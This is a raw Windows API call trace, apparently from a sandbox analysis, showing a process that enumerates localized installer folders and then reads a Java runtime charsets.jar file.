	[0236.974] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.974] VirtualAlloc (lpAddress=0xc000330000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000330000
	[0236.975] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.975] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.975] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.975] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13b62)) returned 1
	[0236.976] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.976] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0236.976] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.976] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2bf46414, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf63)) returned 1
	[0236.980] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.980] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.980] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0237.062] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0237.145] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0237.181] SetEvent (hEvent=0xd4) returned 1
	[0237.181] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052" (normalized: "c:\\588bce7c90097ed212\\2052"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.181] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052" (normalized: "c:\\588bce7c90097ed212\\2052"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.181] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0237.182] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.182] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c8072a4, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x17c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0237.182] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0237.182] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0237.183] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.183] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0237.183] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.183] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed0c)) returned 1
	[0237.183] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.183] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\2052\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758)) returned 1
	[0237.184] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.184] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\2052\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\2052\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2c8072a4, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x17c3)) returned 1
	[0237.184] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.184] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.184] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0237.394] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0237.451] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0237.487] SetEvent (hEvent=0xd4) returned 1
	[0237.487] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082" (normalized: "c:\\588bce7c90097ed212\\3082"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0237.487] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082" (normalized: "c:\\588bce7c90097ed212\\3082"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.488] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cda60
	[0237.488] VirtualAlloc (lpAddress=0xc0003b6000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0003b6000
	[0237.488] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0237.489] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2ca5d5b9, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xcfd, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0237.489] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0237.489] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0237.489] FindNextFileW (in: hFindFile=0x192c63cda60, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0237.489] FindClose (in: hFindFile=0x192c63cda60 | out: hFindFile=0x192c63cda60) returned 1
	[0237.489] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0237.489] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1387c)) returned 1
	[0237.489] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.490] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0237.490] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.490] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2ca5d5b9, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xcfd)) returned 1
	[0237.490] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.490] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0237.491] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0237.779] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0243.142] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0243.240] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0243.280] SetEvent (hEvent=0x188) returned 1
	[0243.281] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0243.291] SetEvent (hEvent=0xd4) returned 1
	[0243.291] SetEvent (hEvent=0x190) returned 1
	[0243.291] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0243.306] VirtualFree (lpAddress=0xc000672000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.307] PostQueuedCompletionStatus (CompletionPort=0x15c, dwNumberOfBytesTransferred=0x0, dwCompletionKey=0x0, lpOverlapped=0x0) returned 1
	[0243.307] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.486] VirtualFree (lpAddress=0xc0007d8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.487] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.566] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.577] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.664] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.677] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.727] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.782] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.851] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.922] SetEvent (hEvent=0xe4) returned 1
	[0244.922] VirtualFree (lpAddress=0xc0007be000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.922] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.932] VirtualFree (lpAddress=0xc0007b8000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.932] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000c9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c9d94, lpOverlapped=0x0) returned 0
	[0244.932] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0xc0000c9d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000c9d94, lpOverlapped=0x0) returned 0
	[0244.932] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\charsets.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\charsets.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0244.933] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc0000c9bf4 | out: lpMode=0xc0000c9bf4) returned 0
	[0244.933] GetFileType (hFile=0x19c) returned 0x1
	[0244.933] GetFileType (hFile=0x19c) returned 0x1
	[0244.933] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc0000c9c44 | out: lpFileInformation=0xc0000c9c44) returned 1
	[0244.933] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc0000c9c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000c9c28) returned 1
	[0244.933] VirtualAlloc (lpAddress=0xc00052c000, dwSize=0x2e6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0244.933] VirtualAlloc (lpAddress=0xc00052c000, dwSize=0x2e6000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0244.933] VirtualAlloc (lpAddress=0xc00052c000, dwSize=0x173000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00052c000
	[0244.934] VirtualAlloc (lpAddress=0xc00069f000, dwSize=0x173000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0244.935] VirtualAlloc (lpAddress=0xc00069f000, dwSize=0xb9000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00069f000
	[0244.935] VirtualAlloc (lpAddress=0xc000758000, dwSize=0xba000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0244.935] VirtualAlloc (lpAddress=0xc000758000, dwSize=0x5d000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000758000
	[0244.935] VirtualAlloc (lpAddress=0xc0007b5000, dwSize=0x5d000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0244.935] VirtualAlloc (lpAddress=0xc0007b5000, dwSize=0x2e000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007b5000
	[0244.937] VirtualAlloc (lpAddress=0xc0007e3000, dwSize=0x2f000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0244.937] VirtualAlloc (lpAddress=0xc0007e3000, dwSize=0x17000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007e3000
	[0244.938] VirtualAlloc (lpAddress=0xc0007fa000, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0244.938] VirtualAlloc (lpAddress=0xc0007fa000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0x0
	[0244.938] VirtualAlloc (lpAddress=0xc0007fa000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0007fa000
	[0244.938] VirtualAlloc (lpAddress=0xc000800000, dwSize=0x12000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000800000
	[0244.963] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070bffdd0*=0x17c, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0244.967] WaitForSingleObject (hHandle=0x17c, dwMilliseconds=0xffffffff) returned 0x0
	[0244.967] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070bff638, ulCount=0x10, ulNumEntriesRemoved=0x7070bff610, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070bff638, ulNumEntriesRemoved=0x7070bff610) returned 0
	[0244.967] SetEvent (hEvent=0xe4) returned 1
	[0244.967] ReadFile (in: hFile=0x19c, lpBuffer=0xc00052c000, nNumberOfBytesToRead=0x2e58fa, lpNumberOfBytesRead=0xc0000c9b04, lpOverlapped=0x0 | out: lpBuffer=0xc00052c000*, lpNumberOfBytesRead=0xc0000c9b04*=0x2e56fa, lpOverlapped=0x0) returned 1
	[0245.518] ReadFile (in: hFile=0x19c, lpBuffer=0xc0008116fa, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000c9b04, lpOverlapped=0x0 | out: lpBuffer=0xc0008116fa*, lpNumberOfBytesRead=0xc0000c9b04*=0x0, lpOverlapped=0x0) returned 1
	[0245.518] CloseHandle (hObject=0x19c) returned 1
